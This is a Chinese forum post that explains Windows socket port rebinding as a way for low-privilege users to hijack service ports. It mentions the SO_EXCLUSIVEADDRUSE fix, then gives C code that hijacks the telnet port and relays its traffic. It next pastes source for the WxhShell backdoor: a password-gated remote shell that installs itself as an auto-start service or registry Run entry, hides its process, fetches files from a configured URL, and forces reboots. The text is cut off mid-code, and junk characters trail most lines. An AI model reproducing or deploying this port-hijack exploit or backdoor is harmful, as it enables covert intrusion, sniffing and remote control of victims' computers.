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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: |i|O9^*%  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); %c&h:7);  
^Tl|v'   
  saddr.sin_family = AF_INET; zpY8w#b  
qRr;&M &t_  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); M|\ XFO  
S_)va#b#  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); Dx8^V%b  
6K,AQ.=V2  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 )t|M)zJ  
].$N@t C  
  这意味着什么?意味着可以进行如下的攻击: :5dq<>~  
,Rf<6/A  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 7 `|- K  
D;Z\GnD  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) dfNNCPu]+  
Wg#>2)>  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 s}5;)>3~@  
B${Q Y)t  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  RSp=If+4  
rT x]%{  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 XX+4X*(o  
G-Y8<mEh  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ^JH 4: h  
s01n[jQ  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 x]F:~(P  
AH;h#dT  
  #include PJ);d>tz  
  #include [z/OY&kF  
  #include EayZ*e ]  
  #include    wz'D4B  
  DWORD WINAPI ClientThread(LPVOID lpParam);   rUlXx5f  
  int main() -?j'<g0  
  { tFG&~tNc  
  WORD wVersionRequested; huO_ARwK'  
  DWORD ret; -(Yq$5Zc&  
  WSADATA wsaData; R+P1 +5  
  BOOL val; `}18A.K  
  SOCKADDR_IN saddr; ;0 ,-ywK  
  SOCKADDR_IN scaddr; emTqbO  
  int err; /CH*5w)1   
  SOCKET s; 6z~6o0s~  
  SOCKET sc; BeBa4s  
  int caddsize; *S7<QyVh  
  HANDLE mt; X'O3)Yg  
  DWORD tid;   Wq]^1g_  
  wVersionRequested = MAKEWORD( 2, 2 ); W<\KRF$S;  
  err = WSAStartup( wVersionRequested, &wsaData ); Fvg>>HVu  
  if ( err != 0 ) { o4U9jU4<"  
  printf("error!WSAStartup failed!\n"); 3d[fP#NY7  
  return -1; *!vwW T  
  } li(g?|AD  
  saddr.sin_family = AF_INET; |SCO9,Fs  
   w?Y;pc}1B  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 2WqjNqx)6  
^`ny]3JA  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); {ymD.vf=9+  
  saddr.sin_port = htons(23); K;Fy&p^d  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) rxt)l  
  { ?nE<Aig  
  printf("error!socket failed!\n"); u`g|u:(r  
  return -1;  {ZB7,\  
  } 86oa>#opU  
  val = TRUE; "OkJPu2!W  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 Nv w'[?m  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) dxsPX =\:  
  { |%Pd*yZA  
  printf("error!setsockopt failed!\n"); udgf{1EB&2  
  return -1; I~|.Re9a  
  } xzh`q  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ApR>b%  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 *{ 6{ZKM  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 Kx7s d i  
DYx3 NDX7  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ]U82A**n  
  { wMr*D['" #  
  ret=GetLastError(); 4 +Wti!s  
  printf("error!bind failed!\n"); -uX): h!  
  return -1; )17CG*K1  
  } )k$ +T%  
  listen(s,2); @!`x^Tzz  
  while(1) 4YMX;W  
  { N 8 n`f  
  caddsize = sizeof(scaddr); bu$YW'  
  //接受连接请求 o-c.D=~  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ?`8jn$W^  
  if(sc!=INVALID_SOCKET) f<?v.5($  
  { E0G"B' x  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 0.!_k )tu  
  if(mt==NULL) gAD,  
  { &]tZ6  
  printf("Thread Creat Failed!\n"); opc`n}Fc  
  break; ?cF`T/z]"  
  } g[4pG`z  
  } &#_c,c;  
  CloseHandle(mt); ^zn&"@  
  } +8h!@  
  closesocket(s); XcL jUz?  
  WSACleanup(); q8#zv_>K  
  return 0; Qq+$ea?>  
  }   Yv>kToa\^  
  DWORD WINAPI ClientThread(LPVOID lpParam) OO#_ 0qK  
  { MfNsor  
  SOCKET ss = (SOCKET)lpParam; SJ8Ax_9{q  
  SOCKET sc; ~Z-o2+xA  
  unsigned char buf[4096]; C%H{"  
  SOCKADDR_IN saddr; )B)e cJJ_  
  long num; F=EG#<@u  
  DWORD val; juIi-*R!  
  DWORD ret; :Y>FuE  
  //如果是隐藏端口应用的话,可以在此处加一些判断 hh#p=Y(f  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   4j_\_:$w<  
  saddr.sin_family = AF_INET; %\$~B?At  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); $ra q,SP  
  saddr.sin_port = htons(23); %^Zu^uu   
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) RqB 8g  
  { 4 ))ZBq?  
  printf("error!socket failed!\n"); A*^aBWFR  
  return -1; JCFiKt9n  
  } Dk%+|c  
  val = 100; }l"pxp1K  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) P8[rp   
  { Sq:,6bcG  
  ret = GetLastError(); 6--t6>5  
  return -1; \w#)uYK{i_  
  } +adwEYRrr  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) FNlS)Bs  
  { 4M*Z1  
  ret = GetLastError(); ?*LVn~y  
  return -1; .7BJq?K.  
  } q<[m(]:  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) _59f.FsVR  
  { x/NjdK  
  printf("error!socket connect failed!\n"); x4bmV@b  
  closesocket(sc); [|&#A;{F#  
  closesocket(ss); G9_7jX*  
  return -1; /Ixv{H)H  
  } f*o+g:]3  
  while(1) L _D#  
  { z=/&tRe W  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 &$yxAqdab  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 +9exap27  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 /#}o19(-d  
  num = recv(ss,buf,4096,0); {:] u 6l  
  if(num>0) \Vb|bw'e(  
  send(sc,buf,num,0); q{Ao j  
  else if(num==0) P"[\p|[U  
  break; k@Qd:I;;  
  num = recv(sc,buf,4096,0); &ea6YQ  
  if(num>0) Dr K@y8  
  send(ss,buf,num,0); #?"^:,Y  
  else if(num==0) OMf w#  
  break; []:&WA 9N  
  } (h"-#q8$  
  closesocket(ss); LIE5of  
  closesocket(sc); d0V*[{  
  return 0 ; 7y4jk  
  } \&/V p`  
l=UXikx  
:lW8f~!  
========================================================== nD.K*#u  
CT?4A1[aD  
下边附上一个代码,,WXhSHELL 8'qq!WR~  
/Bq4! n+  
========================================================== y**YFQ*sc  
7bk`u'0%  
#include "stdafx.h" HSR,moI  
Cz|F%>y#  
#include <stdio.h> Pj8W]SA_  
#include <string.h> K2{6{X=  
#include <windows.h> AO]k*N,N  
#include <winsock2.h> w?V;ItcL  
#include <winsvc.h> T*z*x=<5  
#include <urlmon.h> ka/>jV"  
A01PEVd@A  
#pragma comment (lib, "Ws2_32.lib") lk*w M?Z  
#pragma comment (lib, "urlmon.lib") m$bYx~K  
\NTVg6>qN  
#define MAX_USER   100 // 最大客户端连接数 6L"b O'_5K  
#define BUF_SOCK   200 // sock buffer !&},h=  
#define KEY_BUFF   255 // 输入 buffer G5hf m-  
f cnv[B..{  
#define REBOOT     0   // 重启 m yy*rt  
#define SHUTDOWN   1   // 关机 a$K6b5`>Rs  
osn ,kD*  
#define DEF_PORT   5000 // 监听端口 :.= #U  
XTJA"y  
#define REG_LEN     16   // 注册表键长度 bgeJVI  
#define SVC_LEN     80   // NT服务名长度 MFn\[J`Ra  
"[ieOFI  
// 从dll定义API M1=eS@  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); W2 {4s 1  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); .On3ZN  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); vddl9"V)  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); C<#_1@^:8e  
h t3P@;  
// wxhshell配置信息 +w?-#M#  
struct WSCFG { !t[;~`d9  
  int ws_port;         // 监听端口 qND:LP\_v  
  char ws_passstr[REG_LEN]; // 口令 O{p7I&  
  int ws_autoins;       // 安装标记, 1=yes 0=no e(I;[G +%,  
  char ws_regname[REG_LEN]; // 注册表键名 &z05h<]  
  char ws_svcname[REG_LEN]; // 服务名 N :OLN[  
  char ws_svcdisp[SVC_LEN]; // 服务显示名  Q!5W x  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Z.`0  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 5?A<('2  
int ws_downexe;       // 下载执行标记, 1=yes 0=no `(r0+Qx  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" d*x&Uh[K  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 .qLX jU  
d ATAH}r&  
}; [HhaBy9  
@^%YOorr  
// default Wxhshell configuration g_@b- :$Yq  
struct WSCFG wscfg={DEF_PORT, W=y9mW|p/  
    "xuhuanlingzhe", a4XK.[O  
    1, (coaGQ@d  
    "Wxhshell", ?rY+,nQP  
    "Wxhshell", Gd`s01GKQ  
            "WxhShell Service", `#:(F z  
    "Wrsky Windows CmdShell Service", nub!*)q  
    "Please Input Your Password: ", m=TZfa^r  
  1, F$ckW'V  
  "http://www.wrsky.com/wxhshell.exe", 5S[:;o  
  "Wxhshell.exe" x \I uM  
    }; k*OHI/uiow  
IOa@dUh7a,  
// 消息定义模块 Wj8WT)cB  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Gzp*Vr  
char *msg_ws_prompt="\n\r? for help\n\r#>"; v%kl*K`*  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; }zIWagC6  
char *msg_ws_ext="\n\rExit."; tkmzOc H  
char *msg_ws_end="\n\rQuit."; /]?e^akA  
char *msg_ws_boot="\n\rReboot..."; e~SRGyIww  
char *msg_ws_poff="\n\rShutdown..."; r)B55;*Fh  
char *msg_ws_down="\n\rSave to "; XT \2  
b'I@TLE')  
char *msg_ws_err="\n\rErr!"; 3lbGG42:  
char *msg_ws_ok="\n\rOK!"; WD5jO9Oai  
9rIv-&7'm  
char ExeFile[MAX_PATH]; ixL[(*V  
int nUser = 0; J\FLIw4  
HANDLE handles[MAX_USER]; oBs5xH7@-  
int OsIsNt; G^Y^)pc]   
a^Z=xlJ/uZ  
SERVICE_STATUS       serviceStatus; %!DTq`F  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; e0]#vqdO  
JLj b'Bn  
// 函数声明 WpOH1[ 8v  
int Install(void); g][n1$%  
int Uninstall(void); vsPIvW!V  
int DownloadFile(char *sURL, SOCKET wsh); S_ra8HY8  
int Boot(int flag); 5~$WSL?O)  
void HideProc(void); >`|Wg@_  
int GetOsVer(void); <?:h(IZe[  
int Wxhshell(SOCKET wsl);  hOYX  
void TalkWithClient(void *cs); m {&lU@uL  
int CmdShell(SOCKET sock); vs>Pd |p;  
int StartFromService(void); ] K+8f-  
int StartWxhshell(LPSTR lpCmdLine); 3v&Shb?xb;  
`<#O8,7`  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );  N!Xn)J  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); "([lkn  
);?tGX  
// 数据结构和表定义 L3\( <[  
SERVICE_TABLE_ENTRY DispatchTable[] = >|0 I\{ C  
{ 1ed^{Wa4$9  
{wscfg.ws_svcname, NTServiceMain}, [+ : zlA  
{NULL, NULL} t. HwX9  
}; >QPCYo<E  
]bbP_n8  
// 自我安装 w4R~0jXy  
int Install(void) ti3S'K0t  
{ 3T>6Q#W5eO  
  char svExeFile[MAX_PATH]; wv=U[:Y  
  HKEY key; =>JA; ft  
  strcpy(svExeFile,ExeFile); \9~Q+~@{G  
e(FT4KD~  
// 如果是win9x系统,修改注册表设为自启动 -X3CrW  
if(!OsIsNt) { k8i0`VY5Y  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { t0za%q!fK<  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); <dAxB$16sT  
  RegCloseKey(key); 7+Nl)d:C J  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { EWq < B)  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); /8u}VYE  
  RegCloseKey(key); :H#D4O8UiH  
  return 0; "yl6WG# J  
    } >jnx2$  
  } N8,g~?r^  
} "Z~@"JLb%  
else { 1(Z+n,Hh  
F=PBEaX  
// 如果是NT以上系统,安装为系统服务 wa!z:}]  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 9Z"WV5o  
if (schSCManager!=0) =4L%A=]`  
{ `-Tb=o}.  
  SC_HANDLE schService = CreateService />uE)R$  
  ( /7ShE-.5#  
  schSCManager, I,aaSBwt&2  
  wscfg.ws_svcname, of >  
  wscfg.ws_svcdisp, vbtjPse  
  SERVICE_ALL_ACCESS, 7mn&w$MS4:  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , sQ&<cBs2  
  SERVICE_AUTO_START, C0khG9,BL  
  SERVICE_ERROR_NORMAL, 7W+{U0 2O  
  svExeFile, :G=ol2Q  
  NULL, e&K7n@  
  NULL, m 0Uu2Z4  
  NULL, p^Z|$aZZ  
  NULL, [.$/o}  
  NULL VMS3Q)Ul  
  ); A;e"_$yt8  
  if (schService!=0) b(adM3MP  
  { L-m' #  
  CloseServiceHandle(schService); k4en/&  
  CloseServiceHandle(schSCManager); 7\H_9o0$  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); vg1E@rH|}  
  strcat(svExeFile,wscfg.ws_svcname); k4!p))ql  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { WpMm%G~'4t  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); '5A&c(  
  RegCloseKey(key); _bv9/#tR  
  return 0; z uo:yaO  
    } KI].T+I  
  } !Q}Bz*Y  
  CloseServiceHandle(schSCManager); +:/.\3v71  
} P%d3fFzK  
} WDr=+=Zj  
A'D2uV  
return 1; @wVDe\% ,  
} Xi~I<&  
w}M)]kY  
// 自我卸载 K.}jyhKIKi  
int Uninstall(void) Gs4t6+Al  
{ i&<@}:,  
  HKEY key; WopA7J,  
Q91mCP~$  
if(!OsIsNt) { IU"n`HS  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { QVmJ_WT  
  RegDeleteValue(key,wscfg.ws_regname); 8hMy$  
  RegCloseKey(key); o*[[nK*fL  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { NFG~PZ`6R  
  RegDeleteValue(key,wscfg.ws_regname); X@/wsW(kM\  
  RegCloseKey(key); q9\(<<f|  
  return 0; )Ofwfypc  
  } .$+,Y4q~(  
} Ax9A-|  
} 3GMrdG?Y  
else { 76u\# {5  
'*`1uomeo  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); zQB1C  
if (schSCManager!=0) oHF,k  
{ sdKm@p|/|  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); [vnxp/v/<  
  if (schService!=0) |-%dN }O  
  { jS|jPk|I.  
  if(DeleteService(schService)!=0) { ,o0[^-b<  
  CloseServiceHandle(schService); s -F3(mc(  
  CloseServiceHandle(schSCManager); -AQ 7Bd  
  return 0; M(ie1Ju  
  } d7Z$/ $  
  CloseServiceHandle(schService); I]Z"?T  
  } 2Y;iqR  
  CloseServiceHandle(schSCManager); a!&m\+?  
} |T*t3}  
} 3g0v,7,Zv  
vtzbF1?O  
return 1; 3=0b  
} UY)Iu|~0b  
:Z6l)R+V  
// 从指定url下载文件 >QBDxm  
int DownloadFile(char *sURL, SOCKET wsh) Hx9lQ8  
{  \Awqr:A&  
  HRESULT hr; !$Arc^7r  
char seps[]= "/"; j,1cb,}=^  
char *token; T+:GYab/  
char *file; Lp+?5DjLT  
char myURL[MAX_PATH]; /~g.j1g  
char myFILE[MAX_PATH]; d:h X3  
+('=Ryo T  
strcpy(myURL,sURL); V|4k=_-  
  token=strtok(myURL,seps); &hWYw+yH\  
  while(token!=NULL) Q:]v4 /MT  
  { }dEf |6_  
    file=token; `Tr !Gj_  
  token=strtok(NULL,seps); /vqsp0e"H  
  } 3B4C@ {  
i}C%`1+(  
GetCurrentDirectory(MAX_PATH,myFILE); Qs 'dwc  
strcat(myFILE, "\\"); NH,4>mV$!  
strcat(myFILE, file); //#]CsFiP  
  send(wsh,myFILE,strlen(myFILE),0); !!])~+4pP  
send(wsh,"...",3,0); d81[hT}q  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); h|EHK!<"8  
  if(hr==S_OK) x`K"1E{2  
return 0; '~xjaa;.  
else u}jC$T>2%6  
return 1; |+1k7S  ,  
I.1(qbPkF+  
} &qm:36Y7Xg  
Eq5X/Hx  
// 系统电源模块 0}\8,U  
int Boot(int flag) }jL4F$wC  
{ ItG|{Bo  
  HANDLE hToken; n&E/{o(  
  TOKEN_PRIVILEGES tkp; eM^Y  
"gXvnl  
  if(OsIsNt) { n%{oFTLCo  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); *#B"%;Ln  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); V|;os  
    tkp.PrivilegeCount = 1; >UV=k :Q  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; B\>3[_n  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); _9z+xl  
if(flag==REBOOT) { Fz]!2rt  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) M:%Ll3  
  return 0; XE;aJ'kt  
} eGI&4JgJ.  
else { 'uLYah  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) px^brzLQo  
  return 0; oN(F$Nvk  
} e!4Kl:  
  } 1tH#QZIT  
  else { z| zd=3c  
if(flag==REBOOT) { p49T3V  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ;{"uG>#R  
  return 0; =fI0q7]ndz  
} !6*4^$i#o  
else { q/3co86c  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ?WrL<?r)}U  
  return 0; inyS4tb  
} ?MJ5GVeH  
} ^NO;A=9b[  
1 <wolTf  
return 1; L$; gf_L  
} liTAV9<  
R)9FXz$).  
// win9x进程隐藏模块 > V@,K z1  
void HideProc(void) w%kaM=  
{ ~tqNxlA  
dkOERVRe  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); PjU.4aZ  
  if ( hKernel != NULL ) o6S`7uwJ*/  
  { kk/vgte-)e  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); cqb]LC  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); z9^_5la#  
    FreeLibrary(hKernel); bpfSe  
  } @C5 %`{\  
4,ewp coC%  
return; s;:quM  
} 4?~Ei[KgQn  
xf8.PqVNo  
// 获取操作系统版本 rB3b  
int GetOsVer(void) B zr}+J  
{ 58/\  
  OSVERSIONINFO winfo; 2Zw]Uu`sb  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); suZ`  
  GetVersionEx(&winfo); "'6R|<u=:  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 2$oGy  
  return 1; \MtdT[*  
  else ]w9syz8X  
  return 0; s _`y"' ^  
} KnYHjJa  
z';h5GNd>z  
// 客户端句柄模块 $ dHD  
int Wxhshell(SOCKET wsl) w7_2JS  
{ ,9/s`o  
  SOCKET wsh; +F6R@@rWr  
  struct sockaddr_in client; A*3R@G*h  
  DWORD myID; 8hvh xp  
X[o"9O|<  
  while(nUser<MAX_USER) yykyvy  
{ 8R.`*  
  int nSize=sizeof(client); D{s4Bo-  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 3S1`av(tD  
  if(wsh==INVALID_SOCKET) return 1; +4Lj}8,  
p:8]jD@}%  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); kA&ul  
if(handles[nUser]==0) h3kBNBI )  
  closesocket(wsh); =|bW >y  
else eR5+1b  
  nUser++; nB86oQ/S  
  } & A@ !g  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); m{sch`bP  
=_H)5I_\  
  return 0; .#ATI<t  
} .t9zF-jk  
ak;S Ie  
// 关闭 socket .;~K*GC  
void CloseIt(SOCKET wsh) .ZOyZnr Z  
{ 6c&OR2HGqO  
closesocket(wsh); W[j7Vi8v  
nUser--; XY`2>7  
ExitThread(0); .Dg'MM BM  
} x$tzq+N  
JZrUl^8E  
// 客户端请求句柄 v4wXa:CJ  
void TalkWithClient(void *cs) U HUO9h  
{ 1oIu~f{`  
wenJ(0L|  
  SOCKET wsh=(SOCKET)cs; %uhhQ<zs%  
  char pwd[SVC_LEN]; RlTVx :  
  char cmd[KEY_BUFF]; )ur&Mnmm  
char chr[1]; Q Ph6 p3bg  
int i,j; MBH/,Yd  
&b&o];a  
  while (nUser < MAX_USER) { y2Z1B2E%f  
L\asrdL?=  
if(wscfg.ws_passstr) { "n=Ih_J  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); q CB9z  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); mPo].z  
  //ZeroMemory(pwd,KEY_BUFF); _a=f.I  
      i=0; gedk  
  while(i<SVC_LEN) { %epK-q9[  
ZI#Xh5  
  // 设置超时 dbLxm!;(  
  fd_set FdRead;  !#8=tO  
  struct timeval TimeOut; 4Vi&Y')f  
  FD_ZERO(&FdRead); A'X, zw^}  
  FD_SET(wsh,&FdRead); n;Etn!4M  
  TimeOut.tv_sec=8; cZXra(AD  
  TimeOut.tv_usec=0; !4G<&hvb  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); H=k*;'  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); v;@-bED(Qs  
`+0)dTA(g$  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); yLlAK,5P0o  
  pwd=chr[0]; h8_~ OX  
  if(chr[0]==0xd || chr[0]==0xa) { ' ! ls"qo  
  pwd=0; rfNt  
  break; gJ>HFid_C  
  } Af"vSL  
  i++; "A?_)=zZ  
    } '%"#]  
p,w6D,h  
  // 如果是非法用户,关闭 socket >h m<$3  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); wc'K=;c  
} lCyp&b#(L  
\W6 |un  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); "i_}\p.,X  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); s~6irf/  
5K*-)F ]  
while(1) { wfrWpz=FO  
-m~[z  
  ZeroMemory(cmd,KEY_BUFF); e?D,=A4mV"  
%C[ ;&  
      // 自动支持客户端 telnet标准   &j7l#Urq  
  j=0; Kv:ih=?  
  while(j<KEY_BUFF) { Zb7:qe<UN  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); =JnUTc _u  
  cmd[j]=chr[0]; ico(4KSk  
  if(chr[0]==0xa || chr[0]==0xd) { xQhvs=Zm]  
  cmd[j]=0; S&P5##.u`  
  break; PF(P"f.?D  
  } o^! Zt 9  
  j++; =>CrZ23B "  
    } h D/b O  
~U~4QQV  
  // 下载文件 $V8B =k~  
  if(strstr(cmd,"http://")) { HiG&`:P>q  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); R%Yws2Le2  
  if(DownloadFile(cmd,wsh)) d0 tN73(  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); <ZNa`  
  else KV0e^c;  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); \(LHcvbb  
  } ca_8S8lv  
  else { UmU=3et<Wj  
y*6r&989  
    switch(cmd[0]) { :LFw J  
  yXw xq(32  
  // 帮助 BI=Ie?  
  case '?': { mlgdwM  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 8C=Y(vPk2  
    break; F77[fp  
  } XI,F^K  
  // 安装 ls6ywLP{  
  case 'i': { s^9N7'  
    if(Install()) "FaG5X(  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); RS/%uxS?  
    else Nu{RF  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); +Z[%+x92  
    break; 0p$?-81BJ  
    } q#PGcCtu  
  // 卸载 MT#9x>  
  case 'r': { nZN]Q9  
    if(Uninstall()) TR@$$RrU  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); "O|fX\}5  
    else $(}kau  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); DD'<zL[  
    break; (w% hz']  
    } c uquA ~  
  // 显示 wxhshell 所在路径 a(8]y.`Tv  
  case 'p': { G$4lH>A&  
    char svExeFile[MAX_PATH]; 'eqvK|Uj:  
    strcpy(svExeFile,"\n\r"); jt2 m-*aP  
      strcat(svExeFile,ExeFile); Y@u{73H  
        send(wsh,svExeFile,strlen(svExeFile),0); hv .Mf.m  
    break; $Y aL3n  
    } 4Df TVO"h  
  // 重启 V|HSIJ#J  
  case 'b': { > KH4X:  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); j&m<=-q  
    if(Boot(REBOOT)) xyz-T1ib  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); EGGy0ly  
    else { XW]|Mv[M  
    closesocket(wsh); %_SE$>v^  
    ExitThread(0); ?-\KVha  
    } 8N-~.p  
    break; o<P%|>qX  
    } L +.K}w  
  // 关机 G68N@g  
  case 'd': { h/(9AO}t  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 3[aJ=5  
